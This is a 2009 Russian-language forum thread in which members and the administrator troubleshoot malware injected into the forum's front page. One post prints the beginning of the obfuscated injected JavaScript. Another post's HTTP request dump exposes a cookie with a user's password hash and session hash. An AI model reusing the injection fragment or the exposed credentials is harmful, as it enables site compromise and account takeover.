Вирусы на форуме?

Discussion in 'Off Topic' started by rgreat, Feb 10, 2009.

  1. Archer

    Archer Administrator Staff Member

    Joined:
    Mar 16, 1999
    Messages:
    7,135
    Location:
    Prague
    Re: Вирусы на форуме?

    И правда какая-то херня седела... подменила собой index.php. Поправил, но не совсем понятно откуда оно взялось.
     
  2. -andy-

    -andy- Well-Known Member

    Joined:
    Feb 12, 2000
    Messages:
    8,871
    Location:
    St.Petersburg
    Re: Вирусы на форуме?

    Если на хостинге только этот сайт поломался, то смотри, не сперли ли твой FTP-пароль. Или - security hole в движке форума.
     
  3. zmh

    zmh Well-Known Member

    Joined:
    Oct 20, 2003
    Messages:
    2,460
    Location:
    Russia, Saint-Petersburg
    Re: Вирусы на форуме?

    на фтп лучше пароль поменять.
     
  4. -Kazel

    -Kazel FH Developer

    Joined:
    Sep 16, 2001
    Messages:
    29,339
    Location:
    Дальний Восток
    Re: Вирусы на форуме?

    01ю14 по Москве, вируса теперь ловит и нод32.
     
  5. mcgru-

    mcgru- Well-Known Member

    Joined:
    Sep 21, 2000
    Messages:
    61,501
    Location:
    Tomsk, Russia
    sepukked
     
    Last edited: Jan 31, 2013
  6. Bobby

    Bobby Well-Known Member

    Joined:
    Oct 19, 2001
    Messages:
    9,755
    Location:
    Almaty, Kazakhstan
    Re: Вирусы на форуме?

    У меня вирус не ловится, но хром сразу начинает ругаться на креведку.
     
  7. Sea

    Sea Well-Known Member

    Joined:
    Feb 9, 2001
    Messages:
    27,702
    Location:
    Ukraine, Kiev
    Re: Вирусы на форуме?

    Вирусня все равно осталась на http://forum.wbfree.net/, только уже исправленная :(

    Code:
    [sea@saturn ~]$ curl http://forum.wbfree.net/
    <html>
    <body onload="document.location='http://forum.wbfree.net/forums/'"><script>function c271f17f2ch499b124522edb(h499b1245236d3){ function h499b124523ecc(){var h499b1245246cb=16;return h499b1245246cb
    ...
    
     
  8. -andy-

    -andy- Well-Known Member

    Joined:
    Feb 12, 2000
    Messages:
    8,871
    Location:
    St.Petersburg
    Re: Вирусы на форуме?

    Firefox 3.06 и Synamtec Antivirus молчат... Я, правда, на wbfree.net javascript отключил на всякий случай.
     
  9. Bobby

    Bobby Well-Known Member

    Joined:
    Oct 19, 2001
    Messages:
    9,755
    Location:
    Almaty, Kazakhstan
    Re: Вирусы на форуме?

    поменялось сообщение Хрома
    Похоже содержимое стартовой страницы посточнно меняется, видимо дыра имеет место быть.
     
    Last edited: Feb 18, 2009
  10. -andy-

    -andy- Well-Known Member

    Joined:
    Feb 12, 2000
    Messages:
    8,871
    Location:
    St.Petersburg
    Re: Вирусы на форуме?

    По крайней мере, оно изменилось с моего предыдущего запуска сниффера.
     
  11. Archer

    Archer Administrator Staff Member

    Joined:
    Mar 16, 1999
    Messages:
    7,135
    Location:
    Prague
    Re: Вирусы на форуме?

    Внёс изменения, ждем что будет :)
     
  12. lilija

    lilija Well-Known Member

    Joined:
    Nov 17, 2001
    Messages:
    2,535
    Location:
    ЭССР - Italy
    Re: Вирусы на форуме?

    Это по этому календарик ДРы не пишет теперь внизу?
     
  13. -Kazel

    -Kazel FH Developer

    Joined:
    Sep 16, 2001
    Messages:
    29,339
    Location:
    Дальний Восток
    Re: Вирусы на форуме?

    19 февраля,
    2.55 по Москве.
    Вирус на месте.
     
  14. -andy-

    -andy- Well-Known Member

    Joined:
    Feb 12, 2000
    Messages:
    8,871
    Location:
    St.Petersburg
    Re: Вирусы на форуме?

    Не вижу:

    Code:
    GET / HTTP/1.1
    Accept-Encoding: gzip, deflate
    Host: forum.wbfree.net
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729)
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    ---------------: ------------
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
    Cookie: bblastvisit=1234683397; bblastactivity=0; bbuserid=47; bpassword=c1da39d655e00dda12103c24cb3be7f8; bbsessionhash=29e704237a860d4c2606b7b534829876; bbthread_lastview=ac5e1d0f0ea6ea069cd513657a67c3aba-1-%7Bi-36582_i-1235001373_%7D
    Pragma: no-cache
    Cache-Control: no-cache
    
    HTTP/1.1 200 OK
    Date: Thu, 19 Feb 2009 00:12:48 GMT
    Server: Apache/2.0.52 (CentOS)
    Accept-Ranges: bytes
    Content-Length: 86
    Connection: close
    Content-Type: text/html
    
    <html>
    <body onload="document.location='http://forum.wbfree.net/forums/'">
    </html>
    
     
  15. -Kazel

    -Kazel FH Developer

    Joined:
    Sep 16, 2001
    Messages:
    29,339
    Location:
    Дальний Восток
    Re: Вирусы на форуме?

    Блин, наверно в кэше сидел. Сейчас обновился, уже не ловит.
     
  16. isaev

    isaev Well-Known Member

    Joined:
    Dec 7, 2007
    Messages:
    6,262
    Re: Вирусы на форуме?

    Где вы их берёте, эти вирусы? %)
     
  17. Bobby

    Bobby Well-Known Member

    Joined:
    Oct 19, 2001
    Messages:
    9,755
    Location:
    Almaty, Kazakhstan
    Re: Вирусы на форуме?

    У нас тут в одном бумажном журнале пробегало сообщение, ч то MS предупреждает о появлении нового вируса который добавляет iFrame на главную страницу сайта, ссылка с которого идет на какой то польский сервер, откуда на машину начинают ломится вирусы. Заражение происходит с флешек подключенных к серверам.
     
  18. -Kazel

    -Kazel FH Developer

    Joined:
    Sep 16, 2001
    Messages:
    29,339
    Location:
    Дальний Восток
    Re: Вирусы на форуме?

    Пиздец. В ИЕ вместо главной страницы форума сначала пытается сделать вот это:

    А затем вместо первой страницы полезла порнуха.
    Все совсем плохо?
     

    Attached Files:

  19. -andy-

    -andy- Well-Known Member

    Joined:
    Feb 12, 2000
    Messages:
    8,871
    Location:
    St.Petersburg
    Re: Вирусы на форуме?

    У меня в Firefox все чисто...
     
  20. -slash

    -slash Well-Known Member

    Joined:
    Jul 9, 2001
    Messages:
    886
    Location:
    P.-Kamchatsky, Russia
    Re: Вирусы на форуме?

    ИЕ достоит сожжения и забвения.
    FF3.0.6 - полет нормальный, скрипты включены.